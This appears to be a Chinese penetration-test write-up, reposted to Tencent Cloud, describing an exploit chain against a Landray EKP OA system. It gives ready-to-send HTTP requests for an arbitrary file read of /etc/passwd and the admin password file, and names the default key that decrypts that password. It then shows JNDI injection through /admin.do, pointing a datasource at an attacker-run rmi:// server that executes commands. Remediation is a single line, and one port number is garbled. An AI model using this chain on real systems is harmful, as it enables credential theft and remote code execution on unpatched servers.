前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次密码读取+SSRF渗透测试

记一次密码读取+SSRF渗透测试

作者头像
潇湘信安
发布2021-08-20 10:02:09
7420
发布2021-08-20 10:02:09
举报
文章被收录于专栏:潇湘信安潇湘信安

0x01 背景

记一次授权的渗透测试,目标网站使用了某凌OA(EKP)办公系统,版本存在任意文件读取和SSRF+JNDI远程命令执行安全缺陷,本文仅对这方面做相关描述,针对此网站系统进行的信息收集覆盖面和其他测试小工具就不再赘述了... 【旺柴】——手动狗头,厚码见谅,大佬轻喷~

0x02 概述

系统存在任意文件读取漏洞,攻击者可利用该漏洞读取管理员密码配置文件或读取系统其他敏感文件,获取加密口令后可通过默认key对密码进行解密,从而登入系统配置管理后台,携带登入后台的Cookie可利用SSRF漏洞进行远程命令执行操作。

0x03 任意文件读取

漏洞位置在/sys/ui/extend/varkind/custom.jsp,也就是在custom.jsp这个页面;

  • 请求方法为POST;
  • 请求包&Payload如下:

读取/etc/passwd文件

代码语言:javascript
复制
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Cookie: 
Connection: close
Content-Length: 42

var={"body":{"file":"file:///etc/passwd"}}
图片
图片

读取/WEB-INF/KmssConfig/admin.properties配置文件,获取管理员加密口令

代码语言:javascript
复制
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Cookie: 
Connection: close
Content-Length: 60

var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
图片
图片

0x04 任意文件读取POC

图片
图片
图片
图片

0x05 SSRF+JNDI远程命令执行

利用漏洞读取/WEB-INF/KmssConfig/admin.properties配置文件,使用默认密钥对密码进行解密

  • 模式:ECB
  • 填充:ZeroPadding
  • 偏移量:ECB模式不需要
  • 默认密钥:kmssAdminkey
图片
图片

得到明文密码后,访问/amdin.do系统配置管理后台进行登入操作;JNDI的远程命令执行,需要配合后台密码进行执行;没有密码,即使有SSRF的读取也是没有用处的,因为Web系统可能更改了默认安装的路径,导致读取不到

图片
图片

成功登入后,使用JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可执行程序为jar包,在命令行中运行以下命令:

代码语言:javascript
复制
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [IP]

其中:

代码语言:javascript
复制
 -C - 远程class文件中要执行的命令。
  (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
 
 -A - 服务器地址,可以是IP地址或者域名。
  (可选项 , 默认地址是第一个网卡地址)

注意:要确保109913898180端口可用,不被其他程序占用。

工具获取:源码下载到本地然后自行编译打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+环境下测试可以)

代码语言:javascript
复制
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests

运行工具监听端口,进行ping dnslog测试

代码语言:javascript
复制
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping b50dpx.dnslog.cn" -A "xxx.xxx.xxx.xxx"

代码语言:javascript
复制
POST /admin.do HTTP/1.1
Host: 
Content-Length: 68
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: 
Connection: close

method=config&datasource=rmi://xxx.xxx.xxx.xxx:1099/zosci3
图片
图片

0x06 漏洞修复建议

目前厂商已提供相关漏洞补丁链接,请关注厂商主页随时更新。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-08-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档